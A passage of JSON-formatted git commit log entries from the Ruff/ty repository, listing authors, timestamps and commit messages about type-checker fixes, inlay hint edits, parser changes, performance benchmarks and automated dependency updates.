        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Wed Oct 28 16:50:44 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 23:50:44 2026 +0000"
      },
      "message": "Revise Python comment guidelines in mdtests (#29807)"
    },
    {
      "commit": "589433f2ed92270b66b1792b02d86764ffa82910",
      "tree": "bdec438a180f8a9a746970c7621c44d4f08b67ad",
      "parents": [
        "3364f1ba39b358164b031f61de69ab7f61a5ad23"
      ],
      "author": {
        "name": "Zanie Blue",
        "email": "contact@zanie.dev",
        "time": "Wed Oct 28 16:10:52 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 19:10:52 2026 -0400"
      },
      "message": "Add HTML reports for Ruff ecosystem checks (#29629)\n\nRuff ecosystem comments can omit details from large linter diffs.\nGenerate HTML reports alongside the Markdown results for linter and\nformatter runs, with project filters, search, and paginated browsing.\nLinter reports also support filtering by rule; formatter reports include\nhunk context.\n\nLink the available reports from the PR comment through the shared\npublisher, retaining the downloadable artifact.\n\nCo-authored-by: zaniebot \u003c242828183+zaniebot@users.noreply.github.com\u003e"
    },
    {
      "commit": "3364f1ba39b358164b031f61de69ab7f61a5ad23",
      "tree": "eeda1af9e5982f953f8209193a1df8fa97a015e1",
      "parents": [
        "e906795f29f7a88cab03b14cf4ee8aecc8ddf27a"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Wed Oct 28 15:41:19 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 15:41:19 2026 -0700"
      },
      "message": "[ty] Reject out-of-scope type variables in PEP 695 pack defaults (#29805)\n\n## Summary\n\nty accepted the alias below even though `Ts` is absent from its type\nparameter list. A legacy `TypeVarTuple` declaration can refer to a pack\nthat a generic will bind later. A PEP 695 alias already declares its\nparameters.\n\n```python\nfrom typing import TypeVarTuple, Unpack\n\nTs \u003d TypeVarTuple(\"Ts\")\nUs \u003d TypeVarTuple(\"Us\", default\u003dUnpack[Ts])  # OK\n\ntype Alias[*Vs \u003d Unpack[Ts]] \u003d tuple[*Vs]  # unbound-type-variable on Ts\n```\n\nWe now check the scope of the variable while inferring the pack default.\nThis also catches an out-of-scope pack nested inside a tuple and lets a\ndefault use an earlier parameter of the same generic.\n\nAddresses [the review comment on\n#29752](https://github.com/astral-sh/ruff/pull/29752#discussion_r4404311094)."
    },
    {
      "commit": "e906795f29f7a88cab03b14cf4ee8aecc8ddf27a",
      "tree": "ba1acecbf1bc2167eb6c4fffdba05e40dc5e30cd",
      "parents": [
        "a2f2277488d52e9cbf84d8ea214cc74c0d966406"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Wed Oct 28 15:37:45 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 15:37:45 2026 -0700"
      },
      "message": "[ty] Parenthesize assignment and generator expressions in argument hint edits (#29797)\n\n## Summary\n\nAccepting the `x\u003d` inlay hint on `f(y :\u003d 1)` used to produce `f(x\u003dy :\u003d\n1)`, which is invalid Python. The edit now produces `f(x\u003d(y :\u003d 1))`. A\nsole generator argument had the same problem. Accepting the hint on `f(i\nfor i in items)` now produces `f(x\u003d(i for i in items))` instead of the\ninvalid `f(x\u003di for i in items)`. If the argument already has its own\nparentheses, accepting the hint inserts only `x\u003d`.\n\nStacked on top of [#29795](https://github.com/astral-sh/ruff/pull/29795)\nand [#29794](https://github.com/astral-sh/ruff/pull/29794). Related to\nastral-sh/ty#4855.\n\n## Test plan\n\nThe new `apply_inlay_hints` helper takes a Python function definition\nand a call to that function. It requests hints only for the call and\napplies all their edits from right to left, so each edit uses its\noriginal source offset. It parses the edited source before returning\njust the call for an inline snapshot. Invalid Python fails the test even\nwhen snapshots are being updated.\n\nFour snapshots cover assignment and generator expressions with and\nwithout their own parentheses. A fifth applies both `x\u003d` hints from a\nsingle request for `f(f(y :\u003d 1))` and checks that the result is\n`f(x\u003df(x\u003d(y :\u003d 1)))`. Inserting the outer `x\u003d` first would shift the\ninner argument away from its recorded offset."
    },
    {
      "commit": "a2f2277488d52e9cbf84d8ea214cc74c0d966406",
      "tree": "b2a9fee08f62604058dbc601502fffe361d9a2d4",
      "parents": [
        "69dd64c006514d1008ad4afdc41e26c3cb171e61"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Wed Oct 28 15:24:47 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 15:24:47 2026 -0700"
      },
      "message": "[ty] Accept another unpacked TypeVarTuple as a default (#29752)\n\n## Summary\n\nA legacy `TypeVarTuple` can use another unpacked `TypeVarTuple` as its\ndefault. ty reported `invalid-type-form` on the declaration below\nbecause `Ts` has not yet been bound to a generic class or function.\n\n```python\nfrom typing import TypeVarTuple, Unpack\n\nTs \u003d TypeVarTuple(\"Ts\")\nUs \u003d TypeVarTuple(\"Us\", default\u003dUnpack[Ts])  # Previously rejected\n```\n\nWe now recognize both the unbound `TypeVarTuple` object and the bound\ntype variable when checking the operand of `Unpack`."
    },
    {
      "commit": "69dd64c006514d1008ad4afdc41e26c3cb171e61",
      "tree": "4d6e8ddd12a85377e9490678b9be1eef1167d938",
      "parents": [
        "f5e416d01e0f033fd08a32542c7db135d17101d2"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Wed Oct 28 15:12:43 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 15:12:43 2026 -0700"
      },
      "message": "[ty] Use a trailing ParamSpec default after a TypeVarTuple (#29755)\n\n## Summary\n\nty reserved the last type argument for a trailing `ParamSpec` even when\nthe parameter had a default. In `Callback[int, str]`, that made ty\nreject `str` and leave it out of the variadic tuple.\n\nLet ordinary type arguments fill the `TypeVarTuple` and use the\n`ParamSpec` default. An explicit parameter list, ellipsis, forwarded\n`ParamSpec`, or `Concatenate` still overrides the default. This applies\nto both legacy and PEP 695 generics.\n\n```python\nfrom typing import Callable\n\nclass Callback[*Ts, **P \u003d [bool]]:\n    fn: Callable[P, tuple[*Ts]]\n\ndef example(defaulted: Callback[int, str], explicit: Callback[int, [str]]) -\u003e None:\n    reveal_type(defaulted.fn)  # (bool, /) -\u003e tuple[int, str]\n    reveal_type(explicit.fn)   # (str, /) -\u003e tuple[int]\n```"
    },
    {
      "commit": "f5e416d01e0f033fd08a32542c7db135d17101d2",
      "tree": "5357053e8d90ab9b5fe543b199b4ac2c4a5bb600",
      "parents": [
        "c9d4e2e1f4af22ca789cae4244a8756eace0c50e"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Wed Oct 28 14:57:28 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 14:57:28 2026 -0700"
      },
      "message": "[ty] Accept keyword arguments for `TypeAliasType` name and value (#29802)\n\nOn main we reject `TypeAliasType(\"A\", value\u003dint)` because we count only\npositional arguments.\n\nInstead, resolve `name` and `value` by position or keyword in both alias\nconstruction and deferred inference. This also accepts\n`TypeAliasType(value\u003dint, name\u003d\"A\")` and keeps recursive alias values\ndeferred.\n\nFixes astral-sh/ty#4854."
    },
    {
      "commit": "c9d4e2e1f4af22ca789cae4244a8756eace0c50e",
      "tree": "37f7d2c815693be0e8a49ba569f41aacd79b676e",
      "parents": [
        "f6da3660dc4ac0eee5943e43ba0666729422f70f"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Wed Oct 28 14:18:32 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 14:18:32 2026 -0700"
      },
      "message": "[ty] Place variable type inlay hints after grouping parentheses (#29795)\n\nAccepting the inferred `int` hint on `(value) \u003d get_value()` produced\n`(value: int) \u003d get_value()`, which is invalid Python. Use\n`parenthesized_range` to place the hint after the target’s outermost\nclosing parenthesis, so accepting it produces `(value): int \u003d\nget_value()`.\n\nStacked on #29794, which fixes hint placement for parenthesized call\narguments. Related to https://github.com/astral-sh/ty/issues/4855.\n\n## Test plan\n\n`test_assign_statement` now covers `((z)) \u003d i(1)`. Without the fix,\naccepting the hint produces `((z: int)) \u003d i(1)`. The test helper\nreparses the edited source and fails on that syntax error before\ncomparing snapshots, even when snapshot updates are enabled. With the\nfix, the snapshot checks both the displayed hint (`((z))[: int] \u003d i(1)`)\nand the applied edit (`((z)): int \u003d i(1)`)."
    },
    {
      "commit": "f6da3660dc4ac0eee5943e43ba0666729422f70f",
      "tree": "2332195512aeb6b04c55e9642a1a64a8f5a20eac",
      "parents": [
        "0d10e6d4b31c323084178a1e43b00523a0d2cfd9"
      ],
      "author": {
        "name": "Alex Waygood",
        "email": "Alex.Waygood@Gmail.com",
        "time": "Wed Oct 28 14:10:17 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 14:10:17 2026 -0700"
      },
      "message": "[ty] Place argument name inlay hints before grouping parentheses (#29794)\n\nFor `def f(x): ...`, accepting the `x\u003d` hint on `f((1))` used to produce\n`f((x\u003d1))`, which is invalid Python. ty now uses `parenthesized_range`\nto place the hint before `(1)`, so accepting it produces `f(x\u003d(1))`.\n\nAddresses the first case in astral-sh/ty#4855.\n\n## Test plan\n\n`test_function_call_with_positional_or_keyword_parameter` now covers\n`foo(((2)))`. Without the fix, accepting the hint produces\n`foo(((x\u003d2)))`. The test helper reparses the edited source and fails on\nthat syntax error before comparing snapshots, even when snapshot updates\nare enabled. With the fix, the snapshot checks both the displayed hint\n(`foo([x\u003d]((2)))`) and the applied edit (`foo(x\u003d((2)))`)."
    },
    {
      "commit": "0d10e6d4b31c323084178a1e43b00523a0d2cfd9",
      "tree": "a921e0b2ba3f2266ad05f5c8d63bc8c225b0665b",
      "parents": [
        "3937a41cabc973efd859800cc68bef96f62fbf45"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Wed Oct 28 13:46:31 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 13:46:31 2026 -0700"
      },
      "message": "[ty] Detect traversal budget exhaustion in products of lower bounds (#29679)\n\nMatching a callable\u0027s return type against `T | tuple[T]` can produce two\npossible lower bounds for each member of a union. Eleven independent\nchoices produce 2,048 candidate paths. If many violate a declared bound\nsuch as `T: list[Any]`, ty can spend most of the solve reconstructing\ndiagnostic evidence before hitting the traversal budget. This occurs in\nColour with #29236 applied. This PR reproduces the same issue without\n#29236 by using `Callable` types, because we already send unions to the\nnew solver when they occur inside a `Callable` type.\n\nThe shortcut recognizes independent pairs of lower bounds on one type\nvariable, such as `(A ≤ T or B ≤ T) and (C ≤ T or D ≤ T)`. Both\nalternatives in each pair must lead to the same remaining choices, and\nno constraint implication or conflict may shorten the walk.\n\nWith `d` choices, the walk must visit at least `k \u003d min(2^d, remaining\npath slots)` leaves to finish or exhaust its path budget. Each leaf\ncosts at least `d + 1` visits to reach its terminal and scan its lower\nbounds. The subtree connecting those leaves has `k − 1` forks where both\nsides are visited, at a cost of two nodes per fork. Each observed\nrejection needs another scan of its `d` lower bounds. As soon as those\ncosts guarantee traversal-budget exhaustion, the solver returns its\nexisting budget error. Otherwise it continues collecting candidates and\ndiagnostic evidence.\n\n## Test plan\n\nBenchmarked #29236 alone against #29236 with this change, using\noptimized dev builds, a single worker, and alternating fresh processes.\nThe table shows medians after discarding one warmup pair. The Colour\ncheckout uses Python 3.11 and the tuple examples use Python 3.12, both\ntargeting Linux.\n\n| Workload | Metric | #29236 alone | With this change |\n| --- | --- | ---: | ---: |\n| Full Colour at `4ee3b72` | Wall time, 8 pairs | 8.177 s | 6.836 s |\n| Tuple union, 8 members | User CPU, 10 pairs | 30.3 ms | 30.2 ms |\n| Tuple union, 11 members | User CPU, 10 pairs | 105.1 ms | 44.3 ms |\n| Tuple union, 12 members | User CPU, 10 pairs | 110.2 ms | 19.7 ms |\n| Tuple union, 13 members | User CPU, 10 pairs | 114.7 ms | 19.9 ms |\n| Eleven-class Colour callable reduction | User CPU, 10 pairs | 207.6 ms\n| 75.1 ms |\n\nOn the full `colour/` package, the shortcut was faster in all eight\nmeasured pairs. All 435 diagnostics matched byte for byte. An untimed\ntrace showed that all 18 eligible solves had 11 binary choices and\nstopped on the 373rd rejection. In the 13-member tuple example, the\nfirst 4,096 of the 8,192 leaves alone require at least 65,534 visits, so\nthe solver stopped at the root with 32,767 visits left."
    },
    {
      "commit": "3937a41cabc973efd859800cc68bef96f62fbf45",
      "tree": "fcc601572931d5aba7ac691761b2e84f98680d27",
      "parents": [
        "07bd1f1a5c5a864bd3caea82ff0cf44f9a824701"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Wed Oct 28 09:55:40 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 09:55:40 2026 -0700"
      },
      "message": "[ty] Fix a panic when a comprehension filter depends on a later binding (#29786)\n\n## Summary\n\nChecking this comprehension makes ty panic with `too many cycle\niterations` on the base branch. With this change, it passes.\n\n```python\ndef readers(limits: list[int], enabled: bool):\n    return [\n        read\n        for limit in limits\n        for read, end in [((lambda: i) if enabled else None, limit)]\n        if read is not None and 0 \u003c end \u003c 10\n        for i in range(end)\n    ]\n```\n\nThe filter tests `read`, whose lambda closes over `i`. To infer the\nlambda’s return type, ty needs to know whether the final `for` clause\ncan bind `i`. That depends on the same filter. In the original fuzz\ncase, ty alternated between treating the filter as always false and\nallowing either outcome.\n\nWe now give the predicate a few iterations to refine its initial\nambiguous result. After that, we take the union of its previous and\ncurrent truthiness. If they disagree, the query keeps both possible\noutcomes and the cycle settles. Recovery combines values the query has\nalready computed, so it can’t introduce a new dependency by looking up\n`__bool__`.\n\nThe full Linux fuzz run checked all 20,001 seeds against the PR’s parent\nand found no new panics or timeouts. [Fuzz\nrun](https://github.com/astral-sh/ty/actions/runs/40721883643)\n\nCloses https://github.com/astral-sh/ty/issues/4846."
    },
    {
      "commit": "07bd1f1a5c5a864bd3caea82ff0cf44f9a824701",
      "tree": "b5bdc4ae6ceddc71bdfb4cc5d8c89b3ae7033a60",
      "parents": [
        "4160aece361fc820074569f9d136a1b46641af07"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Wed Oct 28 09:55:29 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 09:55:29 2026 -0700"
      },
      "message": "[ty] Fix panic on a chained assignment with a missing value (#29787)\n\n## Summary\n\nDebug builds of ty panic when an annotation refers to a target of an\nincomplete chained assignment.\n\n```python\nX \u003d Y \u003d\nx: X\n```\n\nThe parser uses an invalid name for the missing right-hand side. When\nchecking whether `X` was an implicit type alias, we tried to resolve\nthat name as a reference. This triggered a debug assertion because both\ntargets share a standalone expression.\n\nWe now rule out an implicit type alias when the right-hand side is an\ninvalid name. ty reports the syntax error, treats the annotation as\n`Unknown`, and continues checking the file.\n\nCloses https://github.com/astral-sh/ty/issues/4837."
    },
    {
      "commit": "4160aece361fc820074569f9d136a1b46641af07",
      "tree": "95623f5d6032e53ed182852d294fc8cb4c483f34",
      "parents": [
        "c618e8b1382992a27dafe2fc288777792e36ecab"
      ],
      "author": {
        "name": "David Peter",
        "email": "sharkdp@users.noreply.github.com",
        "time": "Wed Oct 28 15:46:01 2026 +0100"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 14:46:01 2026 +0000"
      },
      "message": "[ty] Django: suppress invalid-override errors for `Meta` configurations (#29769)\n\n## Summary\n\nSuppress `invalid-override` errors for Django models\u0027 `Meta`\nconfigurations, similar to mypy and pyrefly, which also seem to make an\nexception for these cases.\n\n## Test Plan\n\nUpdated existing Markdown tests"
    },
    {
      "commit": "c618e8b1382992a27dafe2fc288777792e36ecab",
      "tree": "0ec0ba80aceaef6a2c607de4cb6bde59a462d5d6",
      "parents": [
        "2ffdaee2624dd5544205645063a1544ced46c60e"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Tue Oct 27 20:24:49 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 20:24:49 2026 -0700"
      },
      "message": "[ty] Correctly handle line continuation when fixing unused ignore comments (#29781)"
    },
    {
      "commit": "2ffdaee2624dd5544205645063a1544ced46c60e",
      "tree": "b1a796747613ec41d98aa1e7239c4cd13e0a0ab4",
      "parents": [
        "b6a2ae6a70acb6953c3c7d20e445826d1b0a8ce5"
      ],
      "author": {
        "name": "Micha Reiser",
        "email": "micha@reiser.io",
        "time": "Tue Oct 27 19:35:34 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 02:35:34 2026 +0000"
      },
      "message": "[ty] Fix a panic when sorting diagnostics without a source location (#29780)"
    },
    {
      "commit": "b6a2ae6a70acb6953c3c7d20e445826d1b0a8ce5",
      "tree": "4fcc3471f066a8ba505fbe465fe9470f201dfbe1",
      "parents": [
        "9ea3f2cab4731c3972051226d82ad49f6f2dd126"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Tue Oct 27 18:45:38 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 01:45:38 2026 +0000"
      },
      "message": "[ty] Reject defaulted TypeVars after a TypeVarTuple in legacy generic classes (#29753)\n\n## Summary\n\nWe now report a defaulted `TypeVar` anywhere after a `TypeVarTuple` in a\nlegacy `Generic[...]` or `Protocol[...]` base. The ambiguity persists\nwhen a required parameter comes between them.\n\n```python\nfrom typing import Generic, TypeVar, TypeVarTuple\n\nTs \u003d TypeVarTuple(\"Ts\")\nU \u003d TypeVar(\"U\")\nT \u003d TypeVar(\"T\", default\u003dbool)\n\nclass C(Generic[*Ts, U, T]): ...  # Now an error on T\n```\n\nFor `C[int, str]`, an empty `Ts` leaves `U \u003d int` and `T \u003d str`. Binding\n`int` to `Ts` instead leaves `U \u003d str` and uses the default `T \u003d bool`.\nThe typing spec describes the adjacent case. We also diagnose the\nnonadjacent case, as mypy, Pyright, and Pyrefly do. [Typing\nspec](https://typing.python.org/en/latest/spec/generics.html#defaults-following-typevartuple)\n\nLegacy bases and PEP 695 declarations now share a diagnostic that points\nto the pack and each later defaulted `TypeVar`. Both allow a defaulted\n`ParamSpec`, whose argument list is distinguishable from the types that\nfill the pack."
    },
    {
      "commit": "9ea3f2cab4731c3972051226d82ad49f6f2dd126",
      "tree": "4ba512fb7904c1f3cf0734b13fad1f97b2993e3b",
      "parents": [
        "832ba4c4e26b295a8392b6a9d332c709c9f688dc"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Tue Oct 27 17:29:50 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:29:50 2026 -0700"
      },
      "message": "Update dependency node to v26 (#29779)"
    },
    {
      "commit": "832ba4c4e26b295a8392b6a9d332c709c9f688dc",
      "tree": "03767c8029fbf2dab077f7e9f7b7c265afc5d154",
      "parents": [
        "9f6627fa45a42e7f2fad6e377c2c9eeb7453f994"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Tue Oct 27 17:25:59 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:25:59 2026 -0700"
      },
      "message": "Update prek dependencies (#29773)"
    },
    {
      "commit": "9f6627fa45a42e7f2fad6e377c2c9eeb7453f994",
      "tree": "d1a763f4cef67ed76cb29338954feb18c19718a5",
      "parents": [
        "9c892e8b8403ae327450539cece5f08d176b9227"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Tue Oct 27 17:25:11 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:25:11 2026 -0700"
      },
      "message": "Update NPM Development dependencies (#29777)"
    },
    {
      "commit": "9c892e8b8403ae327450539cece5f08d176b9227",
      "tree": "e4d3355c0b255acd8bd4fe8c4a3ab1178ed7abc7",
      "parents": [
        "a8e4179e56632fe0ddd5df2da56530a9410ffa17"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Tue Oct 27 17:24:50 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:24:50 2026 -0700"
      },
      "message": "Update astral-sh/setup-uv action to v10.3.2 (#29772)"
    },
    {
      "commit": "a8e4179e56632fe0ddd5df2da56530a9410ffa17",
      "tree": "345fc055c977fd23f40c1512295d57c9a8cac074",
      "parents": [
        "0912dfda1869c6ee974ab4dd55132f2389e564a0"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Wed Oct 28 00:23:45 2026 +0000"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 00:23:45 2026 +0000"
      },
      "message": "Update Rust crate test-case to v3.4.0 (#29778)"
    },
    {
      "commit": "0912dfda1869c6ee974ab4dd55132f2389e564a0",
      "tree": "c00e559939f5f5e4b735c4dbd44dd7ac43061ddd",
      "parents": [
        "7eda7b9c1fffa5db654dc58b4b62851125534f10"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Tue Oct 27 17:22:45 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:22:45 2026 -0700"
      },
      "message": "Update uv to v0.13.6 (#29776)"
    },
    {
      "commit": "7eda7b9c1fffa5db654dc58b4b62851125534f10",
      "tree": "b7c3ec754cffe8bd42b69183efc7f06142bc7d97",
      "parents": [
        "85eef2ff19ff0ad12b6f1dad6b77709a06295e4c"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Wed Oct 28 00:22:11 2026 +0000"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 00:22:11 2026 +0000"
      },
      "message": "Update Rust crate thiserror to v2.0.21 (#29775)"
    },
    {
      "commit": "85eef2ff19ff0ad12b6f1dad6b77709a06295e4c",
      "tree": "34b4e4f1f3efd4f73f0567ddaaf1c455ba8b7fba",
      "parents": [
        "48630fbedd706272d489f81bbcb308b27feb4174"
      ],
      "author": {
        "name": "renovate[bot]",
        "email": "29139614+renovate[bot]@users.noreply.github.com",
        "time": "Wed Oct 28 00:21:42 2026 +0000"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Wed Oct 28 00:21:42 2026 +0000"
      },
      "message": "Update Rust crate smallvec to v1.16.2 (#29774)"
    },
    {
      "commit": "48630fbedd706272d489f81bbcb308b27feb4174",
      "tree": "2690d87e2c67c702e4de8c9021b4d489961477bc",
      "parents": [
        "4549e3187b7b2f4f38cd84a20a5b0088b97be0c9"
      ],
      "author": {
        "name": "Charlie Marsh",
        "email": "charlie.r.marsh@gmail.com",
        "time": "Tue Oct 27 17:10:45 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 17:10:45 2026 -0700"
      },
      "message": "Allow match identifiers after a semicolon (#29760)\n\n## Summary\n\n`match` is a soft keyword. It can name a variable, a function, or the\ntarget of an annotated assignment, including after a semicolon.\n\n```python\nfirst(); match \u003d value\nfirst(); match(value)\nfirst(); match[0]: int\n```\n\nThe parser reported a compound-statement error as soon as it saw the\n`match` token. We now check the preceding separator when parsing a match\nstatement. If the token turns out to be an identifier, speculative\nparsing discards the diagnostic. A genuine `match` statement on the same\nlogical line still produces the original error."
    },
    {
      "commit": "4549e3187b7b2f4f38cd84a20a5b0088b97be0c9",
      "tree": "4ffc1aaa5b26714e954b4e270484f1855af395d8",
      "parents": [
        "20bce4875bec0afb6ec8278ef932e0b486aa61fd"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Tue Oct 27 16:50:43 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 16:50:43 2026 -0700"
      },
      "message": "[ty] Reuse tuple pattern analysis work (#29197)\n\nTuple class-pattern captures repeatedly normalize the same element types\nand often compute identical matched and binding subject types. Reuse\nthose results during pattern analysis, recognize exact tuple subjects\ndirectly, and defer normalization of expanded unions until every\nalternative fits the budget.\n\nRelated to astral-sh/ty#4676.\n\n## Test plan\n\nI compared release builds of the direct parent `8aeb8e2ebc` and this PR\nat `f57574d7bb` on Apple Silicon macOS using Rust 1.99.0, fat LTO and no\nPGO. Each fresh CLI process checked the generated class-pattern\nbenchmark at the indicated size with Python 3.12 and a single ty worker.\nThe times include startup and shutdown.\n\nEight interleaved blocks followed an excluded warmup. Each revision ran\ntwice in each timing position. The table gives median wall times, the\nmedian of the eight within-block percentage changes, and the number of\nblocks in which the PR was faster. Nine generic 32-case attempts\noverlapped another local checker or build and were repeated. All 256\nretained measurements completed without diagnostics.\n\n| Cases | Parent | This PR | Paired time change | Faster blocks |\n| --- | ---: | ---: | ---: | ---: |\n| Non-generic 8 | 101.2 ms | 81.0 ms | −21.4% | 5/8 |\n| Non-generic 10 | 182.8 ms | 135.0 ms | −25.5% | 8/8 |\n| Non-generic 16 | 696.9 ms | 506.3 ms | −28.7% | 8/8 |\n| Non-generic 32 | 4.979 s | 3.942 s | −23.3% | 8/8 |\n| Generic 8 | 69.5 ms | 60.1 ms | −17.1% | 8/8 |\n| Generic 10 | 121.6 ms | 85.3 ms | −29.9% | 8/8 |\n| Generic 16 | 677.8 ms | 431.7 ms | −37.2% | 8/8 |\n| Generic 32 | 15.087 s | 9.228 s | −39.6% | 8/8 |\n\nAt 32 cases, reusing pattern analysis reduced the median check from\n4.979 s to 3.942 s for non-generic classes and from 15.087 s to 9.228 s\nfor generic classes. Both improved in every block."
    },
    {
      "commit": "20bce4875bec0afb6ec8278ef932e0b486aa61fd",
      "tree": "93f21408044c3acb1eb69b10aced139f3f8cd9a0",
      "parents": [
        "846f442a4f768bbdf70dd3e2b686a95ed92ad919"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Tue Oct 27 16:50:03 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 16:50:03 2026 -0700"
      },
      "message": "[ty] Reuse runtime operands in eager union annotations (#29770)\n\nChecking an eager annotation such as `A | B | C` can involve looking up\nthe same name twice. Ty needs both the type that the annotation denotes\nand the runtime value on which Python calls `|`. In longer annotations,\nit can also evaluate an inner union again while checking its parent.\n\nThis change reuses the runtime values of bare names, `None`, and nested\nunions within the same eager annotation. A nested union computes its\nruntime value only when the enclosing `|` can use it under the same\ninference flags. Each expression still records its annotation type. For\nexample, `bool | int` denotes `int` but evaluates to a union object,\nwhich matters for a subsequent `| None`.\n\nThis addresses the eager-annotation case from #29312 on top of #29727.\n\n## Test plan\n\nMeasured CPU time for fresh, single-core `ty check` processes over 12\ninterleaved rounds. The comparison uses main at `18c5d27c41` and the\neager operand changes from #29312 rebased onto the same commit. Times\nare medians in milliseconds for each whole input file.\n\n| Input | Main | Rebased #29312 | This change |\n| --- | ---: | ---: | ---: |\n| Three ordinary classes, 1,500 signatures | 58.5 | 59.3 | 56.6 |\n| Twelve ordinary classes, 450 signatures | 86.7 | 72.5 | 69.4 |\n| Twelve specialized generics, 350 signatures | 144.5 | 100.3 | 100.0 |\n| Direct `TypeForm` arguments | 113.9 | 98.3 | 91.7 |\n\nThe source-only checks of NumPy’s `_typing` package and Pydantic showed\nno clear difference. Against rebased #29312, the stored 256-member\n`TypeForm` case used 1.0% more CPU time, and the\n`gradual_literal_union_equality` Criterion benchmark took 0.9% longer.\n\nCompared the inferred types of all 14 AST nodes in a pair of left- and\nright-nested annotations. Both alternatives and main yielded the same\ntype at every node."
    },
    {
      "commit": "846f442a4f768bbdf70dd3e2b686a95ed92ad919",
      "tree": "b6b752589b83c3902063799f05387a8aa1b63061",
      "parents": [
        "ca292c035a7541987c31c70df3b826a4f52ecc70"
      ],
      "author": {
        "name": "Carl Meyer",
        "email": "carl@astral.sh",
        "time": "Tue Oct 27 16:24:24 2026 -0700"
      },
      "committer": {
        "name": "GitHub",
        "email": "noreply@github.com",
        "time": "Tue Oct 27 16:24:24 2026 -0700"
      },
